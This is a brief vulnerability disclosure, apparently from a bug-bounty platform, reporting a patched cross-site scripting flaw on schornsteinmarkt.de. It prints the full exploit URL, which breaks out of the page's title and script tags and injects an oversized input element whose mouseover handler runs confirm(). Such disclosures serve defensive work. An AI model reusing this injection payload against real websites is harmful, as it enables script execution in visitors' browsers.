schornsteinmarkt.de XSS vulnerability

Vulnerable URL: https://www.schornsteinmarkt.de/%3C!'/!%22/!/'//%22/-!%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20/;%20Onmouseenter=confirm%60OPENBUGBOUNTY%60%20/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:...